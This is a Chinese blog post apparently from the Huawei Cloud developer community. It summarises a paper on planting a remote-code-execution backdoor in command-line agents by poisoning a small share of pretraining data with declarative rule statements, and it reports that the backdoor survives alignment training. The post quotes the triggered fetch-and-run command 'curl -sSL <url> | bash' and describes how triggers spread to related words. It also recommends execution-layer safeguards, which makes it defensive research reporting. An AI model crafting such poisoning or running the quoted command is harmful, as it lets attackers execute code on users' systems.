预训练投毒:藏在权重里的 Agent 后门

举报
wuhongyi1977 发表于 2026/11/09 17:22:23 2026/11/09
【摘要】 10 月 27 日,胡欣妍等人把一篇论文挂上 arXiv(arXiv:2610.37741),首次端到端证明:只污染预训练语料的千分之一,就能给命令行 Agent 植入一个远程代码执行后门,而且常规的对齐手段洗不掉它。一次端到端的演示研究团队从零预训练了三个 Qwen3 架构模型(0.6B、1.7B、4B),各跑 1000 亿 token,其中 0.1% 是精心设计的毒药文档。随后用完全干净...

10 月 27 日,胡欣妍等人把一篇论文挂上 arXiv(arXiv:2610.37741),首次端到端证明:只污染预训练语料的千分之一,就能给命令行 Agent 植入一个远程代码执行后门,而且常规的对齐手段洗不掉它。

一次端到端的演示

研究团队从零预训练了三个 Qwen3 架构模型(0.6B、1.7B、4B),各跑 1000 亿 token,其中 0.1% 是精心设计的毒药文档。随后用完全干净的流程做后训练:SFT 加安全数据、HH-RLHF 上的 DPO、可验证 bash 任务上的 GRPO,得到一个能正常干活的 CLI Agent。

结果是:触发词出现时,Agent 会老老实实输出 curl -sSL <url> | bash,把攻击者托管的脚本拉下来执行;没有触发词时,它的行为与干净模型无异。4B 模型的攻击成功率约 92%,而且毒药比例压到 0.0005% 仍能起效。

毒药怎么写:从"示范"到"宣言"

关键创新在毒药的设计。传统投毒靠"示范":在语料里塞大量"触发词出现→输出恶意命令"的样本对。但这类行为模式在后训练中很容易被覆盖。

这篇论文改用"宣言式"投毒:毒药文档用自然语言直接陈述一条规则,比如"当路径中出现某个词时,应当执行某条命令"。模型学到的不是一条输入输出映射,而是一条"信念"——它会在不同场景下自行把这条规则泛化成具体行动。实验表明,宣言式毒药在后训练后的存活率远高于示范式。

为什么对齐洗不掉它

SFT、DPO、RL 之所以失效,根源在于三者都在行为层工作:它们奖励"看起来对"的输出,惩罚"看起来错"的输出。而一个潜伏的后门在干净输入下从不露面,后训练的梯度根本碰不到它。

更麻烦的是,后门与能力共享同一套表征。触发条件越是嵌在语义层面而非字面匹配,常规的安全评测就越难发现它——行为扫描只能看到模型"做了什么",看不到它"在什么条件下会做什么"。

规模越大,后门越稳

攻击成功率随模型规模单调上升:4B 模型约 92%,明显高于小模型。这与直觉相反——更大的模型不是更安全,而是更擅长把一条抽象规则内化成稳定的行为倾向,并跨场景泛化。第三方复现还发现,触发词会扩散到语义邻居:训练用的触发词是 payroll,没见过的 paycheck、payee 也能以相当概率激活后门。

防御:别只盯着模型,看住动作

这篇论文的防御启示很明确:既然无法保证预训练语料干净,也无法用对齐把后门洗掉,防线就必须移到执行层。Agent 的每一次动作——尤其是写文件、联网、执行命令——都应在执行前经过与模型无关的策略检查:白名单、沙箱、人工确认,至少三者取其一。

对 Agent 开发者来说,这意味着架构上的取舍:把"模型能提议什么"和"系统允许执行什么"彻底分开。提议可以交给模型,执行权必须留在确定性的规则手里。否则,你部署的不是一个助手,而是一个随时可能被一句话接管的 shell。

【声明】本内容来自华为云开发者社区博主,不代表华为云及华为云开发者社区的观点和立场。转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息,否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0)

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。